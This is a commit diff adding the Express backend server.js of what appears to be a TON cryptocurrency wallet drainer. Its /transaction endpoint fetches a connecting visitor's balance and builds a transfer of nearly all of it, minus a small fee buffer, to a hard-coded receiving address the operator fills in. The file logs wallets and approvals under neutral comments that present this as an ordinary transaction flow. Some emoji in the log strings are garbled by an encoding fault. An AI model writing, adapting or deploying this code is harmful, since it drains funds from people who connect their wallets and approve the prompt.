Update server.js
Browse files
server.js
CHANGED
|
@@ -0,0 +1,137 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
const express = require("express");
|
| 2 |
+
const path = require("path");
|
| 3 |
+
const bodyParser = require("body-parser");
|
| 4 |
+
const axios = require("axios");
|
| 5 |
+
|
| 6 |
+
const app = express();
|
| 7 |
+
|
| 8 |
+
// Middleware
|
| 9 |
+
app.use(bodyParser.json());
|
| 10 |
+
app.use(express.static(path.join(__dirname, "public"))); // serve static frontend files
|
| 11 |
+
|
| 12 |
+
// --- In-memory store (replace with DB if needed) ---
|
| 13 |
+
let connectedWallets = [];
|
| 14 |
+
|
| 15 |
+
// Root page
|
| 16 |
+
app.get("/", (req, res) => {
|
| 17 |
+
res.sendFile(path.join(__dirname, "public/html/index.html"));
|
| 18 |
+
});
|
| 19 |
+
|
| 20 |
+
/**
|
| 21 |
+
* Connected: called when frontend detects wallet connection
|
| 22 |
+
*/
|
| 23 |
+
app.post("/connected", (req, res) => {
|
| 24 |
+
console.log("π Wallet connected:", req.body);
|
| 25 |
+
if (!connectedWallets.includes(req.body.wallet)) {
|
| 26 |
+
connectedWallets.push(req.body.wallet);
|
| 27 |
+
}
|
| 28 |
+
res.json({ status: "ok", message: "Wallet connected" });
|
| 29 |
+
});
|
| 30 |
+
|
| 31 |
+
/**
|
| 32 |
+
* Disconnect: called when user clicks "Disconnect"
|
| 33 |
+
*/
|
| 34 |
+
app.post("/disconnect", (req, res) => {
|
| 35 |
+
console.log("π Wallet disconnected:", req.body);
|
| 36 |
+
connectedWallets = connectedWallets.filter(w => w !== req.body.wallet);
|
| 37 |
+
res.json({ status: "ok", message: "Wallet disconnected" });
|
| 38 |
+
});
|
| 39 |
+
|
| 40 |
+
/**
|
| 41 |
+
* Get wallet balance in nanotons
|
| 42 |
+
*/
|
| 43 |
+
async function getWalletBalance(address) {
|
| 44 |
+
try {
|
| 45 |
+
// Using tonapi.io (no key needed for basic requests)
|
| 46 |
+
const res = await axios.get(`https://tonapi.io/v1/account/getInfo?account=${address}`);
|
| 47 |
+
return res.data.balance; // balance in nanotons
|
| 48 |
+
} catch (err) {
|
| 49 |
+
console.error("β Error fetching balance:", err.response?.data || err.message);
|
| 50 |
+
return null;
|
| 51 |
+
}
|
| 52 |
+
}
|
| 53 |
+
|
| 54 |
+
/**
|
| 55 |
+
* Transaction: frontend fetches this before sending transaction
|
| 56 |
+
* Deducts buffer; fails gracefully if balance is too small.
|
| 57 |
+
*/
|
| 58 |
+
app.get("/transaction", async (req, res) => {
|
| 59 |
+
const userWallet = req.query.wallet;
|
| 60 |
+
console.log("π° Transaction request from:", userWallet);
|
| 61 |
+
|
| 62 |
+
if (!userWallet) {
|
| 63 |
+
return res.status(400).json({ error: "Wallet address missing" });
|
| 64 |
+
}
|
| 65 |
+
|
| 66 |
+
// π Replace this with your TON receiving wallet address
|
| 67 |
+
const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
|
| 68 |
+
|
| 69 |
+
// Get balance of the user wallet
|
| 70 |
+
const balanceNanoTon = await getWalletBalance(userWallet);
|
| 71 |
+
if (!balanceNanoTon) {
|
| 72 |
+
return res.status(500).json({ error: "Could not fetch balance" });
|
| 73 |
+
}
|
| 74 |
+
|
| 75 |
+
const balanceTon = balanceNanoTon / 1e9;
|
| 76 |
+
|
| 77 |
+
// If balance is too low, return graceful 0
|
| 78 |
+
if (balanceTon < 0.05) {
|
| 79 |
+
console.log(`β οΈ Balance too low (${balanceTon} TON). Not building transaction.`);
|
| 80 |
+
return res.json({
|
| 81 |
+
messages: [
|
| 82 |
+
{ address: recipientAddress, amount: "0", payload: "" }
|
| 83 |
+
],
|
| 84 |
+
raw: { from: userWallet, to: recipientAddress, amount: "0" }
|
| 85 |
+
});
|
| 86 |
+
}
|
| 87 |
+
|
| 88 |
+
// Deduction buffer
|
| 89 |
+
let bufferTon = 0.05;
|
| 90 |
+
if (balanceTon > 100) bufferTon = 0.8;
|
| 91 |
+
else if (balanceTon > 10) bufferTon = 0.5;
|
| 92 |
+
else if (balanceTon > 1) bufferTon = 0.2;
|
| 93 |
+
|
| 94 |
+
const sendTon = Math.max(balanceTon - bufferTon, 0);
|
| 95 |
+
const sendNanoTon = Math.floor(sendTon * 1e9);
|
| 96 |
+
|
| 97 |
+
console.log(`π Balance: ${balanceTon} TON, Deduction: ${bufferTon} TON, Sending: ${sendTon} TON`);
|
| 98 |
+
|
| 99 |
+
const tx = {
|
| 100 |
+
messages: [
|
| 101 |
+
{
|
| 102 |
+
address: recipientAddress,
|
| 103 |
+
amount: sendNanoTon.toString(),
|
| 104 |
+
payload: "" // optional base64 payload
|
| 105 |
+
}
|
| 106 |
+
],
|
| 107 |
+
raw: {
|
| 108 |
+
from: userWallet,
|
| 109 |
+
to: recipientAddress,
|
| 110 |
+
amount: sendNanoTon.toString()
|
| 111 |
+
}
|
| 112 |
+
};
|
| 113 |
+
|
| 114 |
+
res.json(tx);
|
| 115 |
+
});
|
| 116 |
+
|
| 117 |
+
/**
|
| 118 |
+
* Accept: frontend calls this when user approves transaction
|
| 119 |
+
*/
|
| 120 |
+
app.post("/accept", (req, res) => {
|
| 121 |
+
console.log("β
Transaction accepted:", req.body);
|
| 122 |
+
res.json({ status: "ok", message: "Transaction accepted" });
|
| 123 |
+
});
|
| 124 |
+
|
| 125 |
+
/**
|
| 126 |
+
* Reject: frontend calls this when user rejects transaction
|
| 127 |
+
*/
|
| 128 |
+
app.post("/reject", (req, res) => {
|
| 129 |
+
console.log("β Transaction rejected:", req.body);
|
| 130 |
+
res.json({ status: "ok", message: "Transaction rejected" });
|
| 131 |
+
});
|
| 132 |
+
|
| 133 |
+
// --- Start server ---
|
| 134 |
+
const PORT = 7860;
|
| 135 |
+
app.listen(PORT, () => {
|
| 136 |
+
console.log(`π Backend running at http://localhost:${PORT}`);
|
| 137 |
+
});
|